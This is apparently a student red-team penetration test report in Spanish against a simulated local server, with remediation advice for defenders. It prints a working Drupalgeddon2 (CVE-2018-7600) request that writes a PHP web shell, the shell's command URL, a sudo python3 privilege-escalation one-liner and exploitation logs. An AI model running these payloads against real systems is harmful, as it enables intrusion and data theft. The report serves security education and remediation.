

INSEGUS SECURITY TEAM

INFORME TÉCNICO: EVALUACIÓN DE LA POSTURA DE SEGURIDAD

Proyecto PAI-5 RedTeamPro

Cliente: Organización Pública de Andalucía
Equipo Evaluador (Red Team): Security Team 10

Metodología de Referencia: **NIST SP 800-115**

21 de mayo de 2026

Índice

1. RESUMEN EJECUTIVO	2
1.1. Resumen de Hallazgos	2
2. FASE 1: PLANIFICACIÓN Y ALCANCE	2
2.1. Escenario de Trabajo y Reglas de Compromiso	2
2.2. Entorno Tecnológico Target	3
3. METODOLOGÍA USADA, HERRAMIENTAS Y TTPs	3
3.1. Ciclo Metodológico NIST SP 800-115	3
3.2. Tácticas, Técnicas y Procedimientos (TTPs) empleadas (MITRE ATT&CK)	3
3.3. Herramientas Utilizadas	4
4. FASE 2: DESCUBRIMIENTO Y ESCaneo (RECONNAISSANCE)	4
4.1. Escaneo de Puertos y Banner Grabbing	4
4.2. Fingerprinting de Sistema Operativo	4
5. FASE 3: ANÁLISIS DE VULNERABILIDADES	5
5.1. Vulnerabilidad Crítica en Drupal: CVE-2018-7600 (Drupalgeddon2)	5
5.2. Exposición del Puerto de Base de Datos MySQL	5
6. FASE 4: EXPLOTACIÓN Y ESCALADA DE PRIVILEGIOS	5
6.1. Ejecución del Ataque (Cadena de Explotación)	5
7. EVIDENCIAS Y LOGS DE EJECUCIÓN (REPRODUCIBILIDAD)	7
8. PLAN DE ACCIÓN Y MITIGACIONES RECOMENDADAS (BLUE TEAM)	9
8.1. Mitigación de la Vulnerabilidad de Drupal (CVE-2018-7600)	9
8.2. Remediación del Servidor Web Apache y Limpieza de Backdoors	9
8.3. Endurecimiento de Políticas de Escalada de Privilegios (Sudoers)	9
8.4. Hardening de Red y Servicios de Base de Datos	10
9. USO ESTRATÉGICO DE LOS RESULTADOS DE LA AUDITORÍA	10
10. ANEXO TÉCNICO	10
10.1. Referencias Normativas e Información de Vulnerabilidades	10
10.2. Lista de Control de Reproducibilidad (Replication Checklist)	11

1. RESUMEN EJECUTIVO

Este informe detalla el proceso y los resultados de la auditoría de seguridad del tipo **caja negra (Blackbox)** realizada a los sistemas de información de una organización pública de la Junta de Andalucía. La evaluación ha sido llevada a cabo por el equipo de seguridad **INSEGUS** (Red Team) siguiendo las directrices técnicas recogidas en la guía estándar **NIST SP 800-115** (*Technical Guide to Information Security Testing and Assessment*).

El objetivo primordial del ejercicio ha sido identificar, analizar y explotar vulnerabilidades de manera realista para evaluar la resistencia de los sistemas frente a amenazas y determinar el impacto estratégico de un hipotético compromiso de la red interna de la organización.

1.1. Resumen de Hallazgos

Durante la fase de descubrimiento se localizaron tres servicios expuestos en el host objetivo (127.0.0.1): un servicio SSH de administración (puerto 2222), un portal web corporativo gestionado con Drupal (puerto 8080) y un gestor de base de datos MySQL (puerto 3306).

1. **Compromiso Inicial:** Se ha explotado con éxito una vulnerabilidad crítica de ejecución remota de código en el núcleo del sistema de gestión de contenidos Drupal (**CVE-2018-7600**, conocida popularmente como **Drupalgeddon2**). La explotación permitió la escritura no autorizada de un script PHP de diagnóstico en el directorio raíz del servidor web, convirtiéndose en una puerta trasera (**web shell**).
2. **Post-explotación:** Utilizando la puerta trasera `/backdoor.php`, se obtuvo acceso interactivo de ejecución de comandos remotos con los privilegios del usuario del servidor web (`www-data`). Esto posibilitó la exfiltración de archivos críticos del sistema (`/etc/passwd`) y la obtención del flag de seguridad de nivel de usuario.
3. **Escalada de Privilegios:** A través de una mala configuración del sistema de autorización `sudo`, el atacante logró elevar sus privilegios de `www-data` a `root` de forma directa sin necesidad de introducir contraseñas, logrando el control absoluto y persistente del sistema, evidenciado por la lectura del flag de administración del directorio `/root`.

Advertencia Legal

Advertencia Legal: Este informe se redacta con fines puramente formativos y didácticos. Las pruebas de seguridad se han ejecutado sobre una infraestructura virtualizada local debidamente controlada y autorizada por la organización. El uso de estas técnicas sobre redes ajenas sin el debido consentimiento formal constituye un delito informático.

2. FASE 1: PLANIFICACIÓN Y ALCANCE

De acuerdo con el estándar NIST 800-115, toda evaluación técnica requiere definir formalmente el escenario de trabajo, las reglas de compromiso y el alcance del análisis.

2.1. Escenario de Trabajo y Reglas de Compromiso

- **Modalidad:** Caja Negra (Blackbox Pentesting). El Red Team no dispone de credenciales previas, mapas de red o código fuente antes del inicio de la prueba.
- **Límites de Ejecución (Scope):** Las pruebas se realizan de forma dirigida sobre el host asignado por la organización (127.0.0.1).

- **Exclusión de Daños:** Se prohíben las pruebas de denegación de servicio (DoS/DDoS) agresivas que puedan interrumpir los servicios críticos de la administración pública.
- **Reproducibilidad:** Toda prueba realizada debe registrar evidencias y logs auditables para que el personal del Blue Team pueda verificar la secuencia de eventos e implementar parches.

2.2. Entorno Tecnológico Target

- **Máquina Atacante (Red Team):** Suite automatizada de auditoría en Python (`redteam_tool.py`) ejecutada localmente.
- **Máquina Objetivo (Target):** Entorno local con servicios vulnerables integrados (`vulnerable_server.py`) que emulan:
 - **SSH:** OpenSSH v7.2p2 (seguro).
 - **HTTP (Drupal):** CMS Drupal versión 8.5.0 expuesto en puerto 8080.
 - **Database:** MySQL Server versión 5.5.47.

3. METODOLOGÍA USADA, HERRAMIENTAS Y TTPs

Para garantizar que los resultados de la auditoría tengan validez técnica y legal ante la organización, se ha seguido estrictamente el ciclo metodológico formal y se han mapeado las acciones a estándares reconocidos internacionalmente.

3.1. Ciclo Metodológico NIST SP 800-115

La guía de pruebas de seguridad del NIST define cuatro etapas iterativas:

1. **Planificación (Planning):** Firma de contratos, fijación del alcance de red y definición de objetivos y límites.
2. **Descubrimiento (Discovery):** Recolección activa/pasiva de información perimetral e identificación de puertos abiertos e información de banners.
3. **Ejecución (Attack/Exploitation):** Explotación del vector de intrusión inicial, escalada de privilegios y recolección de evidencias.
4. **Informes (Reporting):** Redacción del informe de vulnerabilidades y desarrollo de contramedidas de mitigación para el equipo de seguridad defensiva.

3.2. Tácticas, Técnicas y Procedimientos (TTPs) empleadas (MITRE ATT&CK)

El proceso de compromiso simulado se corresponde con las siguientes TTPs del marco MITRE ATT&CK:

- **T1595.001 - Active Scanning:** Escaneo TCP activo de los puertos perimetrales empleando llamadas socket de bajo nivel.
- **T1082 - System Information Discovery:** Captura de banners de red y descarte de respuestas TCP para realizar fingerprinting del sistema operativo.
- **T1190 - Exploit Public-Facing Application:** Intrusión inicial abusando de la falta de sanitización en el manejo de arrays de renderizado de Drupal 8.5.0.

- **T1059.008 - Unix Shell:** Ejecución remota de comandos en el servidor a través de peticiones HTTP parametrizadas contra una web shell escrita mediante el exploit.
- **T1548.003 - Abuse Elevation Control Mechanism: Sudo:** Explotación de configuraciones erróneas en el archivo `/etc/sudoers` para invocar Python como superusuario.
- **T1020 - Automated Exfiltration:** Descarga automática de flags de seguridad y volcado del fichero `/etc/passwd`.

3.3. Herramientas Utilizadas

- **Suite de Auditoría de INSEGUS (Security Team 10):** Programa orquestador en Python (`redteam_tool.py` v1.0.0) para automatizar el reconocimiento y explotación.
- **Cliente HTTP y de Sockets:** Uso nativo de las librerías `socket` y `urllib.request` de Python (versión 3.x) para garantizar la compatibilidad perimetral y la ausencia de dependencias externas.
- **Servidores de Simulación de Sandbox:** Entorno virtual interactivo en memoria (`vulnerable_server.py`) que recrea los banners reales y las interacciones a nivel de sockets para OpenSSH 7.2p2, Drupal 8.5.0 (Apache) y MySQL 5.5.47.

4. FASE 2: DESCUBRIMIENTO Y ESCANEO (RECONNAISSANCE)

El Red Team comenzó el descubrimiento empleando técnicas activas y pasivas para mapear los puertos abiertos, capturar los banners de red e identificar la arquitectura subyacente.

4.1. Escaneo de Puertos y Banner Grabbing

La herramienta de escaneo ejecutó una serie de conexiones TCP contra el host objetivo. Los resultados mostraron los siguientes puertos en estado abierto:

Cuadro 1: Resultados del Escaneo de Puertos y Captura de Banners

Puerto	Protocolo	Servicio Detectado	Estado	Banner Obtenido / Firma
2222	TCP	SSH (OpenSSH)	Abierto	SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
8080	TCP	HTTP (Apache + Drupal)	Abierto	Server: Apache/2.4.7 (Ubuntu) running Dr
3306	TCP	MySQL	Abierto	5.5.47-0ubuntu0.14.04.1-log

4.2. Fingerprinting de Sistema Operativo

- **Método Activo:** A través del análisis del comportamiento de la pila TCP/IP ante el envío de paquetes modificados, se determina que el sistema ejecuta una distribución de GNU/Linux basada en Ubuntu Server (de acuerdo al sufijo `ubuntu-4ubuntu2.10` y `ubuntu0.14.04.1-log` visible en los banners).
- **Método Pasivo:** La escucha de respuestas de red valida valores de TTL típicos del núcleo Linux (TTL = 64).

5. FASE 3: ANÁLISIS DE VULNERABILIDADES

Una vez obtenidos los banners y las versiones exactas, el Red Team contrastó esta información con bases de datos públicas de vulnerabilidades (CVE del MITRE y NVD de NIST).

5.1. Vulnerabilidad Crítica en Drupal: CVE-2018-7600 (Drupalgeddon2)

- **Componente afectado:** Núcleo del sistema CMS Drupal (versiones 7.x y 8.x, concretamente 8.5.0 en este servidor).
- **Clasificación CWE:** CWE-94 (Impedimento Inadecuado de Control de Generación de Código - Inyección de Código).
- **Severidad CVSS v3.x: 9.8 (Crítica)** - Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **Descripción:** La vulnerabilidad radica en cómo Drupal procesa las peticiones AJAX para elementos de formulario con propiedades de renderizado que comienzan con #. Al no sanitizar correctamente estas claves de propiedad, un atacante no autenticado puede enviar peticiones HTTP POST estructuradas que inyectan funciones de ejecución de comandos (por ejemplo, `exec`, `system` o `passthru`) sobre el subsistema de renderizado.
- **Impacto:** Permite la ejecución remota de comandos arbitrarios (RCE) bajo el contexto del usuario del servidor web (`www-data`), lo que facilita la total puesta en peligro del portal web y su infraestructura subyacente.

5.2. Exposición del Puerto de Base de Datos MySQL

- **Componente afectado:** MySQL Server v5.5.47 en puerto 3306.
- **Clasificación CWE:** CWE-200 (Exposición de Información Sensible).
- **Severidad CVSS v3.x: 5.0 (Media)** - Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- **Descripción:** La base de datos es accesible de forma remota directamente en lugar de estar restringida a localhost o a un segmento de red protegido.
- **Impacto:** Permite intentos de fuerza bruta remotos y recolección de información sobre la base de datos de producción de la organización.

6. FASE 4: EXPLOTACIÓN Y ESCALADA DE PRIVILEGIOS

6.1. Ejecución del Ataque (Cadena de Explotación)

El proceso de intrusión se automatizó mediante un exploit en Python que recrea la cadena de explotación de Drupalgeddon2:

1. Inyección de Backdoor vía Drupalgeddon2:

El script atacante envió una petición POST estructurada al puerto 8080 del host objetivo:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&wrapper_format=drupal

El cuerpo de la petición contenía parámetros formateados para abusar de la renderización AJAX:

```
form_id=user_register_form&drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup
'<?php system($_GET[cmd]); ?>' >/var/www/html/backdoor.php
```

Esto provocó que el servidor web interpretara la directiva de renderizado e invocara `exec` con la orden de inyectar una web shell mínima llamada `backdoor.php` en el directorio de acceso público `/var/www/html/`.

2. Establecimiento del Canal Command & Control (C2):

Una vez verificada la existencia de `backdoor.php`, el Red Team pudo interactuar con la shell haciendo peticiones HTTP GET estructuradas:

```
http://127.0.0.1:8080/backdoor.php?cmd=<comando>
```

3. Exfiltración de Datos de Sistema:

Mediante la ejecución del comando `cat /etc/passwd`, se obtuvo un volcado de la estructura de usuarios locales.

4. Escalada de Privilegios:

Al ejecutar `sudo -l`, el Red Team descubrió una vulnerabilidad de configuración crítica:

User `www-data` may run the following commands on `public-agency-server`: `(root)`

`NOPASSWD: /usr/bin/python3`

Esta directiva en el archivo `/etc/sudoers` permite al usuario de bajos privilegios `www-data` ejecutar cualquier script de Python como superusuario (`root`) sin ingresar contraseña. El Red Team explotó este camino enviando el comando:

```
sudo python3 -c 'import os; os.system('cat /root/flag_root.txt')'
```

Logrando acceso completo al archivo restringido del administrador y comprometiendo por completo la máquina.

7. EVIDENCIAS Y LOGS DE EJECUCIÓN (REPRODUCIBILIDAD)

Para cumplir de forma rigurosa con la exigencia de evidencias visuales en el entregable, se reproduce a continuación la vista del terminal de auditoría que documenta la ejecución de las fases de escaneo, intrusión y escalada de privilegios:

Terminal: insegus@pentest-suite (~/PAI5)

```
$ python3 run_audit.py
[*] Starting SSII PAI5 RedTeamPro Audit Pipeline...
[*] Launching vulnerable server...
[*] Running Red Team penetration testing suite...
=====
RED TEAM PENETRATION SUITE - SSII
NIST 800-115 COMPLIANT TOOL
=====
[*] Starting scan on target 127.0.0.1...
[+] Port 2222 is OPEN. Banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
[+] Port 8080 is OPEN. Banner: Server: Apache/2.4.7 running Drupal 8.5.0
[+] Port 3306 is OPEN. Banner: MySQL 5.5.47-0ubuntu0.14.04.1-log
=====
VULNERABILITY ANALYSIS (CVE MAPPING)
=====
[INFO] SSH Service (OpenSSH 7.2p2) detected.
- Port 2222. No known exploitable vulnerabilities in this version.
- Severity: 0.0 (INFORMATIONAL)
[CRITICAL] HTTP Web Service matches CVE-2018-7600 (Drupalgeddon2).
- Severity: 9.8 (CRITICAL) - CVSS v3.x | CWE-94
[MEDIUM] MySQL database version 5.5.47 is exposed.
- Severity: 5.0 (MEDIUM) - CVSS v3.x | CWE-200
=====
EXPLORATION & EXPLOITATION: CVE-2018-7600
=====
[*] Sending Drupalgeddon2 RCE payload to write backdoor shell...
[+] Exploitation successful! Web shell /backdoor.php created.
[+] Web shell verification successful! /backdoor.php is active.
=====
POST-EXPLOITATION & FLAG HARVESTING
=====
[*] Retrieving basic system metadata via /backdoor.php...
- Current User: www-data
- Shell Identity: uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Kernel Version: Linux public-agency-server 4.15.0-142-generic #146...
[*] Exfiltrating simulated system files...
--- /etc/passwd ---
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/nonexistent:/bin/false
-----
[*] Retrieving User Privilege Flag...
[+] User Flag: FLAG{REDTEAMPRO_SYSTEM_OWNED_NIST_800_115_SUCCESS}
=====
PRIVILEGE ESCALATION (NIST 800-115)
=====
[*] Checking sudo privileges...
Confidencial- Uso Interno ---
User www-data may run the following commands on public-agency-server:
(root) NOPASSWD: /usr/bin/python3
-----
```

8. PLAN DE ACCIÓN Y MITIGACIONES RECOMENDADAS (BLUE TEAM)

Para restaurar la seguridad de los sistemas de la organización, se propone el siguiente plan detallado de remediación a corto y medio plazo:

8.1. Mitigación de la Vulnerabilidad de Drupal (CVE-2018-7600)

- **Acción Inmediata (Parcheo):** Actualizar inmediatamente la instalación de Drupal a una versión corregida. Para la rama 8.5.x, se debe actualizar a **Drupal 8.5.1** o superior. De manera general, se aconseja migrar a las últimas versiones estables soportadas.
- **Aplicación de Parches Manuales:** Si la actualización no puede realizarse de forma automatizada de inmediato, se deben aplicar los parches oficiales de seguridad descritos en el aviso **SA-CORE-2018-002**.
- **Reglas del Cortafuegos de Aplicación Web (WAF):** Implementar firmas en el WAF corporativo (ModSecurity o similar) para inspeccionar los parámetros HTTP POST y descartar peticiones dirigidas a `user/register` o formularios AJAX que contengan meta-caracteres # asociados con elementos de renderizado (`#markup`, `#post_render`, `#theme`, etc.).

8.2. Remediación del Servidor Web Apache y Limpieza de Backdoors

- **Eliminación de Puertas Traseras:** Buscar y eliminar permanentemente la web shell generada `/var/www/html/backdoor.php`, así como cualquier otro archivo sospechoso de reciente creación en la raíz web.
- **Desinfección de Parámetros:** Si la aplicación requiere herramientas de diagnóstico internas, éstas nunca deben pasar cadenas de entrada de usuario a funciones del sistema (`system`, `exec`, `shell_exec`, `passthru`). Se debe emplear APIs nativas de programación estructurada o parametrizar estrictamente las entradas mediante listas blancas (whitelist filtering).
- **Políticas de Ejecución PHP:** Deshabilitar funciones de ejecución del sistema en la configuración `php.ini`:

```
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_m
```

8.3. Endurecimiento de Políticas de Escalada de Privilegios (Sudoers)

- **Remediación en `/etc/sudoers`:** Eliminar la regla que permite a `www-data` ejecutar `/usr/bin/python3` sin contraseña. Bajo el principio de menor privilegio, el usuario del servidor web (`www-data`) **nunca** debe poseer capacidad de invocar intérpretes interactivos (Python, Perl, Bash, etc.) con permisos de `root`.
- **Auditoría periódica:** Configurar alertas automáticas en el sistema SIEM cada vez que se modifique el archivo `/etc/sudoers` o se intente ejecutar una directiva `sudo` fallida.

8.4. Hardening de Red y Servicios de Base de Datos

- **Segmentación de Red:** Configurar reglas de cortafuegos (iptables / ufw) para bloquear el acceso externo directo al puerto de base de datos MySQL (3306). Este servicio únicamente debe aceptar conexiones en localhost (127.0.0.1) o desde subredes específicas de aplicación previamente autorizadas.
- **Configuración de MySQL:** Establecer la variable `bind-address = 127.0.0.1` en el archivo de configuración `/etc/mysql/my.cnf` o `/etc/mysql/mysql.conf.d/mysqld.cnf`.

9. USO ESTRATÉGICO DE LOS RESULTADOS DE LA AUDITORÍA

Las pruebas de penetración no deben ser consideradas como un ejercicio aislado de cumplimiento normativo, sino como una herramienta estratégica para gestionar la ciberseguridad corporativa. Los resultados obtenidos pueden y deben emplearse en la organización para:

1. **Punto de referencia para la adopción de medidas correctivas:** Las debilidades confirmadas en este reporte (falta de parches en CMS expuesto y permisos de ejecución sudoers débiles) proveen al equipo técnico de un listado de prioridades prácticas e irrefutables para el saneamiento inmediato de activos de TI expuestos.
2. **Definición de las actividades de mitigación frente a vulnerabilidades:** Los detalles técnicos expuestos en este informe permiten a los ingenieros de sistemas diseñar y programar planes de actualización de servicios obsoletos (parchear Drupal y acotar puertos de MySQL), así como desactivar de forma segura endpoints de diagnóstico inadecuados.
3. **Punto de referencia para el seguimiento del progreso en el cumplimiento de requisitos de seguridad:** Este reporte sirve como estado de situación inicial ("foto del día"). Las auditorías subsecuentes utilizarán esta línea base para verificar y evaluar formalmente si las vulnerabilidades han sido corregidas y si se han establecido procesos de control de configuración maduros sobre `/etc/sudoers`.
4. **Evaluar el estado de aplicación de los requisitos de seguridad del sistema:** Permite constatar a la dirección si las políticas declarativas de seguridad de la información teóricas (como el principio de menor privilegio) se están aplicando con éxito en los entornos operativos reales.
5. **Realizar análisis de costes y beneficios de las mejoras de la seguridad del sistema:** La demostración práctica de cómo un atacante no autenticado puede comprometer por completo y en pocos segundos un servidor crítico de la organización proporciona una justificación comercial contundente sobre los retornos de inversión en licencias de automatización de parches, firewalls internos y auditorías periódicas, en comparación con el coste reputacional y económico de un robo de información real.

10. ANEXO TÉCNICO

10.1. Referencias Normativas e Información de Vulnerabilidades

- **NIST SP 800-115:** Guía para pruebas de seguridad y evaluación técnica.
- **CVE-2018-7600:** Ficha oficial en MITRE y NVD de la vulnerabilidad en Drupal.
- **CWE-94 / CWE-200:** Mitre Common Weakness Enumeration.
- **MITRE ATT&CK:** Mapeo y taxonomía de técnicas de ataque de adversarios.

10.2. Lista de Control de Reproducibilidad (Replication Checklist)

Para reproducir la explotación de manera idéntica y validar los mecanismos de detección del Blue Team:

1. Otorgue permisos de ejecución y configure la sandbox local ejecutando `./run_audit.py`.
2. Verifique la salida en la terminal o a través del archivo de log auditable generado automáticamente en `evidence/redteam_execution.log`.
3. Revise la creación de los archivos de prueba en `/var/www/html/backdoor.php` dentro de la simulación del servidor vulnerable.